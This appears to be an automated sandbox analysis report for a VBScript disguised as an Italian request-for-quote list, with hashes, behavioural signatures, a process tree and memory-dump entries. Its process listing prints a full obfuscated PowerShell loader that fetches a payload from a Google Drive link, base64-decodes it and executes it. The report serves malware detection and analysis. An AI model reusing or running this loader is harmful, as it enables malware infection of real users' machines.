Analysis
-
max time kernel
93s -
max time network
125s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
28-03-2024 07:12
Static task
static1
Behavioral task
behavioral1
Sample
RFQ20240327_Lista commerciale.vbs
Resource
win7-20240215-en
Behavioral task
behavioral2
Sample
RFQ20240327_Lista commerciale.vbs
Resource
win10v2004-20240226-en
General
-
Target
RFQ20240327_Lista commerciale.vbs
-
Size
39KB
-
MD5
9300a9eba698df3fa841738aa1ee2153
-
SHA1
cc76797e0fb68f86bfc3b509e0fb25b66e666f84
-
SHA256
86e6cd3d2fb55232cbac7aedf7a0078eecddfece6dfde4e6566216a057acacfa
-
SHA512
4682cc200b193fea5280a54e2007bf1158ab3ea039eec76b62e0b2a7cc2083fa4cf7d919bdfa27c3a80aa989e6eb2db458ae2d168830de7be8ff57ef3a2a0042
-
SSDEEP
768:u0zgB8X2WAZGc8NnKwiQwR5T1dPA1aRtg:4+QqNnKwY3BK1aRO
Malware Config
Signatures
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
WScript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000\Control Panel\International\Geo\Nation WScript.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 4544 4860 WerFault.exe powershell.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
powershell.exepowershell.exepid process 3128 powershell.exe 3128 powershell.exe 4860 powershell.exe 4860 powershell.exe 4860 powershell.exe 4860 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 3128 powershell.exe Token: SeDebugPrivilege 4860 powershell.exe -
Suspicious use of WriteProcessMemory 10 IoCs
Processes:
WScript.exepowershell.exepowershell.exedescription pid process target process PID 1448 wrote to memory of 3128 1448 WScript.exe powershell.exe PID 1448 wrote to memory of 3128 1448 WScript.exe powershell.exe PID 3128 wrote to memory of 5012 3128 powershell.exe cmd.exe PID 3128 wrote to memory of 5012 3128 powershell.exe cmd.exe PID 3128 wrote to memory of 4860 3128 powershell.exe powershell.exe PID 3128 wrote to memory of 4860 3128 powershell.exe powershell.exe PID 3128 wrote to memory of 4860 3128 powershell.exe powershell.exe PID 4860 wrote to memory of 2096 4860 powershell.exe cmd.exe PID 4860 wrote to memory of 2096 4860 powershell.exe cmd.exe PID 4860 wrote to memory of 2096 4860 powershell.exe cmd.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RFQ20240327_Lista commerciale.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Spurrier Impressibleness Eloxering #>;$Pollinizes=(cmd /c set /A 115^^0);Function Caum231 ([String]$Afdragsordningerne){$Timeantallets=[char][int]$Pollinizes+'ubstring';$Stjsvagestes=8;$Trevlerodens=Discordous($Afdragsordningerne);For($Premutinied=7; $Premutinied -lt $Trevlerodens; $Premutinied+=$Stjsvagestes){$Svarfristers=$Afdragsordningerne.$Timeantallets.Invoke($Premutinied, 1);$Boldens=$Boldens+$Svarfristers;}$Boldens;}function Bramfriest ($Heterotrich87){& ($Studenterbrdenes) ($Heterotrich87);}function Discordous ([String]$Skolepatruljes){$Bandie=$Skolepatruljes.Length-1;$Bandie;}$Miscuing=Caum231 'UvedespT.flednir Shakysa WordstnHemiatrsModstanfSevere.e KingborMetaphyrsalmo.oiUnlegalnBrand,ogAmputer ';$Ullman=Caum231 'RassledhPseudoptSkruppptSliksunpAube.gisFlygel :Sbr.dsm/Flaadde/CruralldPedellerBeve,seiGrundvavOdouraneJenlgen.HoaryhegNecromaoObjectioHygia,tgSvullenl mpendee lyngso.Augmentc ensomho Downdrm Told,t/Coleu,euHvedebrc onexho? RepopueMinimalxRawishnpIll,tivoDimensir Unpatrtepigone=NonbioldVas,omaoDispo iwunexpl.nAkua,milProlongoFerskvaaMealilyd Consta& Bli,zkiPsittacdWaterco=Decurri1knivblaMSixpenn2 SpartaM MagtkagMicrobayReformpU amendiyO,dovicGSportslfoctonarDInhalatB,ritidsPTrskni UUsports0Volon.rSJud.ciaY,irklveHSytraa.-ErhversqArharale Kaglen2Chryd ey ShinplRBr.gervE possumc Catase9NoncommhSpecialpSociali-AfdpiecWFiskereM Bru,st0Mennes. ';$Studenterbrdenes=Caum231 'SystemaiSkyldbeeKil,eanx Attens ';$Sagvandite=Caum231 'Aktieaf$ MonchigIndh gnl ighulloLevnedsbBlendinaNerven l.orfres:RomerkiMCowardybVulpicieFordyrelPotteryeMyelenctPreconssGliskan Witcher= Miaowi KantkoShjestertSkovmyra SherryrKont.net Zeppel-ChupaktB Town eiRec protFordjeds whitenT,istendrAtomforaP risernN sturtsunwaiv.fKoenigse,evelserBravery Traneda-T,anspoSUnderaroTildigtuSpavinsrPapegjecHy.kumeeDriftss Uunetsl$unabridURookiesl AnpartlP.sheremRelegera Slgelin Acanth Raadigh-gl dedcDDobbelteConverss HulkintVoluminiBittermnEmba.loaTennisdtSprllemi ommentoT bakssn Alsidi Sognef$Kunste,SSoughler EmuncttMa,culao ChirtagPlasm,le pomelynG lachceEkvip.r ';Bramfriest (Caum231 ' nbiasa$ShantyegMa,dskalSchool oEskatolbVelariza erpetul.eputes:Doo,knoSlensedvr,rejnintTrompetoUdk mstgVandbreeKri lennBarderie Sr kre=Octodec$K rtoffePrimovinSh.neenvnaturfa:MatheaiaUnlangupPulpifipauber idHandicra ReimpltHeroisea,herbet ') ;Bramfriest (Caum231 ' IlteleIBrowbeam OmvisepConnectoNicodemrLovlig,tLyskopi-RigdomsMForespro EmprizdKaiseriuAlternalP.eposieordenss TektiteBVariatiiPrcisertunimmorsUreotelT Tronfor Ovenl,aAngstklnparorexs St,rkefDess.rte.mmortarH.lioga ') ;$Srtogene=$Srtogene+'\Opposer.Gru' ;Bramfriest (Caum231 'B,dagti$StormwagIndeleglMangfoloToug,tfbprecollaSekretdlUnder,u:Filigr.TSekskanareportirSkitseri Com,enfV,gineceSignatur Bvser iUe ighenAlloya.gMakroskeForudsir PodagrnPfuispaeDialyst= allipe( ta,belTIdriftseDriftsosGastingtcherryi-ShieldpPAktuarsaEjendomtcalibrahDuckpin Sp,tles$Ungb,anSFallitbrTeslashtUnicorno FireligLandsple ,ombaknInkbsl.eTyndsli) O.niac ') ;while (-not $Tariferingerne) {Bramfriest (Caum231 'BughindITypehusf Ule.pe Payingt( Sadelm$ BaandvMDipl mabMazopateSmi.ninlA.pergieFradragtRedir gsEspalie.Co cordJCaptbacoKrnikesbCutic,lSI,dkasttPrinsanaWhoredotKartoffe Th.ead Vandfog-Isne deeLkkestnqFiliste Formue$SkalarpM SignaliYe.aneks Hders.c Dowingu AbradiiBlackwanBonaghtgLactopr)Dip,osp Thrasos{TronfoeSSammenstBobs,edaSenecturHo sebotEmceedp-HatsshaS FragillMouskrieHulendee BaffetpCalyxd, Dekanat1nasa,is} minorieVandretl,iaarspsGhebetaeFaninkr{Brum,sbSHemmelit Arbe,daUdstdesr Trustat Arapah-CorroboSFractiol StonefeIrreligeAnkeprop No vir Glosari1Nonr.sp;CorylenBVidnefrrAssassiaE unciamPry,lecfbellboyrA,resseiAmino reStenfiss Unb actPortkom Sweetli$StoppedS Atmosfa AlveargStjernevForbrugaBorgermnF malizdForlystiAsbolitt B.gstaeAdgangs}Unburro ');Bramfriest (Caum231 'Enfever$SynodalgHampshilStillwaoNatur.ibPostrepaProtobllKultisk: Ging,rT ElectraMistyperPre.epoiBaa.dudf BagdeleHotlinerParakitiBretschnBronzergBaa evrePajahuerSikkerhn LrredseEspadon= Compli( OmredaTImmov.beProcacissu.cesstCanadis-EthnalbPSv,mepraArgentit Masconhdiv.rge Togrej$SkrmfelS flawydr VenstrtPa.torioAero,atgPol.andeUnd.rbenNdstedteRelap.e).assage ') ;}Bramfriest (Caum231 'Udskyde$.gekommgIncitorl CellaroNedturpb uperoeaHdwegy.lGenealo:DutteneGPr requiReplatedCrosslieUnyttigrOk ekds Pugmar=Slvsnor Plagu.mG ElegieeHoldbartInt ane- Vitra,C KonkuroPr.discnStorstdtKviltn.eBos,hbon hair.rtMischri Lentosu$ jehus.SUnnethirSkiwiestPentadro oiletagAstringeGarbedcnOpisthoeChining ');Bramfriest (Caum231 ' Papiri$Crowfoog AntennlImperiooLeverinbSqualoiaHemocytl Frustr:Sympa.hTRetlednj UdbyggeJaspo.dk formidk Stiftmo,fhrtunsPaginatlshetlanoPolych vArtiodaaBrobyggkUnconquiKrakeleeCirsithtPedicursheksame Strafef=Feroher Gleb er[ AfrundS .inetiyThawfrasregistrtTran naeAdelsskmPo,yple.Overc aCFilk,tao KogespnChrono,v OrdetseSprgestrSge roctMaltrak]Betalin:Beskfti:ExtravaFStanzairSemi.hroAfsvalnm,umaselBPyr,fora Introfs,ellstoeOmniloq6Matricu4Inf.rmaSmoneyletKampongrBrneforiDu,drisnFortl,eg Tonn,g(.onopro$EpispadGDoubt.oiSu.dheddbo itsieSadelgjrOvers.e)Forhand ');Bramfriest (Caum231 ' Header$ZoopsiagMiljssulUnovertoLatterlb Perkina ErklrilAeolidi:startelUTri,ngudGennem s VildkakSemipacrDottypeisvi.dlefEmpiriot Nons,nsfipplessSiliconk MindeleCount.rmDrivhusaNonowneeForeta rUndange Effendi=,rivele Konspir[ Dyhr.ySOverplyylouisinsRazoredtOvertryeSyt,enamNephili. PhanerTDrvogt e topplaxretardet Seraen. Slutb,ESthammenSto,atoccynomoro h.rdhedParcelhiVoldtgtnConjuregCounter]Subco m:Bredspe:ConstruALigatorSSlethugCCa.boniITidsflgIbitmoe,. oarseGAfskrineunu,iqut IndplaSUdpolstt .ollatr,roauctiNotkinpnCounterg Chlor (Bugbite$TasteruTStry eijFe.aerfePre,outk Brugtvk ParensoBermthesRedebi,lRheadinoIstandsv CanadiaKlodsetkDitremiiForspileKnyt entElektrisInterpl)Raads,a ');Bramfriest (Caum231 'St,ndar$WhalpnigThursdalCentretoStejfvibTitteslaTvillinlCatalin:Macros,P .enlggoMileo.elBehandleGon.olamMaillfriFormfass Ma.onis MarshfpAludraar Thearc=Trllede$E tirpaU AladdidGlazilysRaadshekStartskr KorrekiHypovitf ,ighflt olstres Fnikers HovedkkParasyne UdbldemVeldsjlasyns.uneMedreg,rZilapha.BedrertsUnre.rau Nedfotb,daptatsSemicortUnanimar Eksekui DuchesnMissuitgUntouch(Gynkol,3Nons.bs4folensf3Endazef2Cond le9 ,oreti7Am male,Enteroc3Rikoche0Apoplek5 Natur.3Pilotpr0Mariuss)Protone ');Bramfriest $Polemisspr;"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c set /A 115^^03⤵
-
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "<#Spurrier Impressibleness Eloxering #>;$Pollinizes=(cmd /c set /A 115^^0);Function Caum231 ([String]$Afdragsordningerne){$Timeantallets=[char][int]$Pollinizes+'ubstring';$Stjsvagestes=8;$Trevlerodens=Discordous($Afdragsordningerne);For($Premutinied=7; $Premutinied -lt $Trevlerodens; $Premutinied+=$Stjsvagestes){$Svarfristers=$Afdragsordningerne.$Timeantallets.Invoke($Premutinied, 1);$Boldens=$Boldens+$Svarfristers;}$Boldens;}function Bramfriest ($Heterotrich87){& ($Studenterbrdenes) ($Heterotrich87);}function Discordous ([String]$Skolepatruljes){$Bandie=$Skolepatruljes.Length-1;$Bandie;}$Miscuing=Caum231 'UvedespT.flednir Shakysa WordstnHemiatrsModstanfSevere.e KingborMetaphyrsalmo.oiUnlegalnBrand,ogAmputer ';$Ullman=Caum231 'RassledhPseudoptSkruppptSliksunpAube.gisFlygel :Sbr.dsm/Flaadde/CruralldPedellerBeve,seiGrundvavOdouraneJenlgen.HoaryhegNecromaoObjectioHygia,tgSvullenl mpendee lyngso.Augmentc ensomho Downdrm Told,t/Coleu,euHvedebrc onexho? RepopueMinimalxRawishnpIll,tivoDimensir Unpatrtepigone=NonbioldVas,omaoDispo iwunexpl.nAkua,milProlongoFerskvaaMealilyd Consta& Bli,zkiPsittacdWaterco=Decurri1knivblaMSixpenn2 SpartaM MagtkagMicrobayReformpU amendiyO,dovicGSportslfoctonarDInhalatB,ritidsPTrskni UUsports0Volon.rSJud.ciaY,irklveHSytraa.-ErhversqArharale Kaglen2Chryd ey ShinplRBr.gervE possumc Catase9NoncommhSpecialpSociali-AfdpiecWFiskereM Bru,st0Mennes. ';$Studenterbrdenes=Caum231 'SystemaiSkyldbeeKil,eanx Attens ';$Sagvandite=Caum231 'Aktieaf$ MonchigIndh gnl ighulloLevnedsbBlendinaNerven l.orfres:RomerkiMCowardybVulpicieFordyrelPotteryeMyelenctPreconssGliskan Witcher= Miaowi KantkoShjestertSkovmyra SherryrKont.net Zeppel-ChupaktB Town eiRec protFordjeds whitenT,istendrAtomforaP risernN sturtsunwaiv.fKoenigse,evelserBravery Traneda-T,anspoSUnderaroTildigtuSpavinsrPapegjecHy.kumeeDriftss Uunetsl$unabridURookiesl AnpartlP.sheremRelegera Slgelin Acanth Raadigh-gl dedcDDobbelteConverss HulkintVoluminiBittermnEmba.loaTennisdtSprllemi ommentoT bakssn Alsidi Sognef$Kunste,SSoughler EmuncttMa,culao ChirtagPlasm,le pomelynG lachceEkvip.r ';Bramfriest (Caum231 ' nbiasa$ShantyegMa,dskalSchool oEskatolbVelariza erpetul.eputes:Doo,knoSlensedvr,rejnintTrompetoUdk mstgVandbreeKri lennBarderie Sr kre=Octodec$K rtoffePrimovinSh.neenvnaturfa:MatheaiaUnlangupPulpifipauber idHandicra ReimpltHeroisea,herbet ') ;Bramfriest (Caum231 ' IlteleIBrowbeam OmvisepConnectoNicodemrLovlig,tLyskopi-RigdomsMForespro EmprizdKaiseriuAlternalP.eposieordenss TektiteBVariatiiPrcisertunimmorsUreotelT Tronfor Ovenl,aAngstklnparorexs St,rkefDess.rte.mmortarH.lioga ') ;$Srtogene=$Srtogene+'\Opposer.Gru' ;Bramfriest (Caum231 'B,dagti$StormwagIndeleglMangfoloToug,tfbprecollaSekretdlUnder,u:Filigr.TSekskanareportirSkitseri Com,enfV,gineceSignatur Bvser iUe ighenAlloya.gMakroskeForudsir PodagrnPfuispaeDialyst= allipe( ta,belTIdriftseDriftsosGastingtcherryi-ShieldpPAktuarsaEjendomtcalibrahDuckpin Sp,tles$Ungb,anSFallitbrTeslashtUnicorno FireligLandsple ,ombaknInkbsl.eTyndsli) O.niac ') ;while (-not $Tariferingerne) {Bramfriest (Caum231 'BughindITypehusf Ule.pe Payingt( Sadelm$ BaandvMDipl mabMazopateSmi.ninlA.pergieFradragtRedir gsEspalie.Co cordJCaptbacoKrnikesbCutic,lSI,dkasttPrinsanaWhoredotKartoffe Th.ead Vandfog-Isne deeLkkestnqFiliste Formue$SkalarpM SignaliYe.aneks Hders.c Dowingu AbradiiBlackwanBonaghtgLactopr)Dip,osp Thrasos{TronfoeSSammenstBobs,edaSenecturHo sebotEmceedp-HatsshaS FragillMouskrieHulendee BaffetpCalyxd, Dekanat1nasa,is} minorieVandretl,iaarspsGhebetaeFaninkr{Brum,sbSHemmelit Arbe,daUdstdesr Trustat Arapah-CorroboSFractiol StonefeIrreligeAnkeprop No vir Glosari1Nonr.sp;CorylenBVidnefrrAssassiaE unciamPry,lecfbellboyrA,resseiAmino reStenfiss Unb actPortkom Sweetli$StoppedS Atmosfa AlveargStjernevForbrugaBorgermnF malizdForlystiAsbolitt B.gstaeAdgangs}Unburro ');Bramfriest (Caum231 'Enfever$SynodalgHampshilStillwaoNatur.ibPostrepaProtobllKultisk: Ging,rT ElectraMistyperPre.epoiBaa.dudf BagdeleHotlinerParakitiBretschnBronzergBaa evrePajahuerSikkerhn LrredseEspadon= Compli( OmredaTImmov.beProcacissu.cesstCanadis-EthnalbPSv,mepraArgentit Masconhdiv.rge Togrej$SkrmfelS flawydr VenstrtPa.torioAero,atgPol.andeUnd.rbenNdstedteRelap.e).assage ') ;}Bramfriest (Caum231 'Udskyde$.gekommgIncitorl CellaroNedturpb uperoeaHdwegy.lGenealo:DutteneGPr requiReplatedCrosslieUnyttigrOk ekds Pugmar=Slvsnor Plagu.mG ElegieeHoldbartInt ane- Vitra,C KonkuroPr.discnStorstdtKviltn.eBos,hbon hair.rtMischri Lentosu$ jehus.SUnnethirSkiwiestPentadro oiletagAstringeGarbedcnOpisthoeChining ');Bramfriest (Caum231 ' Papiri$Crowfoog AntennlImperiooLeverinbSqualoiaHemocytl Frustr:Sympa.hTRetlednj UdbyggeJaspo.dk formidk Stiftmo,fhrtunsPaginatlshetlanoPolych vArtiodaaBrobyggkUnconquiKrakeleeCirsithtPedicursheksame Strafef=Feroher Gleb er[ AfrundS .inetiyThawfrasregistrtTran naeAdelsskmPo,yple.Overc aCFilk,tao KogespnChrono,v OrdetseSprgestrSge roctMaltrak]Betalin:Beskfti:ExtravaFStanzairSemi.hroAfsvalnm,umaselBPyr,fora Introfs,ellstoeOmniloq6Matricu4Inf.rmaSmoneyletKampongrBrneforiDu,drisnFortl,eg Tonn,g(.onopro$EpispadGDoubt.oiSu.dheddbo itsieSadelgjrOvers.e)Forhand ');Bramfriest (Caum231 ' Header$ZoopsiagMiljssulUnovertoLatterlb Perkina ErklrilAeolidi:startelUTri,ngudGennem s VildkakSemipacrDottypeisvi.dlefEmpiriot Nons,nsfipplessSiliconk MindeleCount.rmDrivhusaNonowneeForeta rUndange Effendi=,rivele Konspir[ Dyhr.ySOverplyylouisinsRazoredtOvertryeSyt,enamNephili. PhanerTDrvogt e topplaxretardet Seraen. Slutb,ESthammenSto,atoccynomoro h.rdhedParcelhiVoldtgtnConjuregCounter]Subco m:Bredspe:ConstruALigatorSSlethugCCa.boniITidsflgIbitmoe,. oarseGAfskrineunu,iqut IndplaSUdpolstt .ollatr,roauctiNotkinpnCounterg Chlor (Bugbite$TasteruTStry eijFe.aerfePre,outk Brugtvk ParensoBermthesRedebi,lRheadinoIstandsv CanadiaKlodsetkDitremiiForspileKnyt entElektrisInterpl)Raads,a ');Bramfriest (Caum231 'St,ndar$WhalpnigThursdalCentretoStejfvibTitteslaTvillinlCatalin:Macros,P .enlggoMileo.elBehandleGon.olamMaillfriFormfass Ma.onis MarshfpAludraar Thearc=Trllede$E tirpaU AladdidGlazilysRaadshekStartskr KorrekiHypovitf ,ighflt olstres Fnikers HovedkkParasyne UdbldemVeldsjlasyns.uneMedreg,rZilapha.BedrertsUnre.rau Nedfotb,daptatsSemicortUnanimar Eksekui DuchesnMissuitgUntouch(Gynkol,3Nons.bs4folensf3Endazef2Cond le9 ,oreti7Am male,Enteroc3Rikoche0Apoplek5 Natur.3Pilotpr0Mariuss)Protone ');Bramfriest $Polemisspr;"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c set /A 115^^04⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4860 -s 24404⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 4860 -ip 48601⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4wxeoljx.hwq.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
memory/3128-9-0x000001F0BDBE0000-0x000001F0BDC02000-memory.dmpFilesize
136KB
-
memory/3128-10-0x00007FFF42290000-0x00007FFF42D51000-memory.dmpFilesize
10.8MB
-
memory/3128-11-0x000001F0A33F0000-0x000001F0A3400000-memory.dmpFilesize
64KB
-
memory/3128-12-0x000001F0A33F0000-0x000001F0A3400000-memory.dmpFilesize
64KB
-
memory/3128-13-0x000001F0BDE50000-0x000001F0BDE76000-memory.dmpFilesize
152KB
-
memory/3128-14-0x000001F0BDEA0000-0x000001F0BDEB4000-memory.dmpFilesize
80KB
-
memory/3128-15-0x000001F0A33F0000-0x000001F0A3400000-memory.dmpFilesize
64KB
-
memory/3128-16-0x000001F0A33F0000-0x000001F0A3400000-memory.dmpFilesize
64KB
-
memory/3128-47-0x00007FFF42290000-0x00007FFF42D51000-memory.dmpFilesize
10.8MB
-
memory/4860-22-0x00000000050D0000-0x00000000050F2000-memory.dmpFilesize
136KB
-
memory/4860-36-0x0000000005FD0000-0x000000000601C000-memory.dmpFilesize
304KB
-
memory/4860-20-0x0000000004D00000-0x0000000004D10000-memory.dmpFilesize
64KB
-
memory/4860-21-0x0000000005340000-0x0000000005968000-memory.dmpFilesize
6.2MB
-
memory/4860-18-0x0000000074CB0000-0x0000000075460000-memory.dmpFilesize
7.7MB
-
memory/4860-24-0x0000000005250000-0x00000000052B6000-memory.dmpFilesize
408KB
-
memory/4860-23-0x0000000005170000-0x00000000051D6000-memory.dmpFilesize
408KB
-
memory/4860-34-0x00000000059B0000-0x0000000005D04000-memory.dmpFilesize
3.3MB
-
memory/4860-35-0x0000000005F90000-0x0000000005FAE000-memory.dmpFilesize
120KB
-
memory/4860-19-0x0000000004D00000-0x0000000004D10000-memory.dmpFilesize
64KB
-
memory/4860-37-0x0000000007980000-0x0000000007FFA000-memory.dmpFilesize
6.5MB
-
memory/4860-38-0x0000000007160000-0x000000000717A000-memory.dmpFilesize
104KB
-
memory/4860-40-0x00000000071B0000-0x00000000071D2000-memory.dmpFilesize
136KB
-
memory/4860-42-0x00000000072C0000-0x00000000072E2000-memory.dmpFilesize
136KB
-
memory/4860-41-0x0000000008000000-0x00000000085A4000-memory.dmpFilesize
5.6MB
-
memory/4860-43-0x0000000007490000-0x00000000074A4000-memory.dmpFilesize
80KB
-
memory/4860-39-0x0000000007220000-0x00000000072B6000-memory.dmpFilesize
600KB
-
memory/4860-44-0x0000000074CB0000-0x0000000075460000-memory.dmpFilesize
7.7MB
-
memory/4860-17-0x0000000002690000-0x00000000026C6000-memory.dmpFilesize
216KB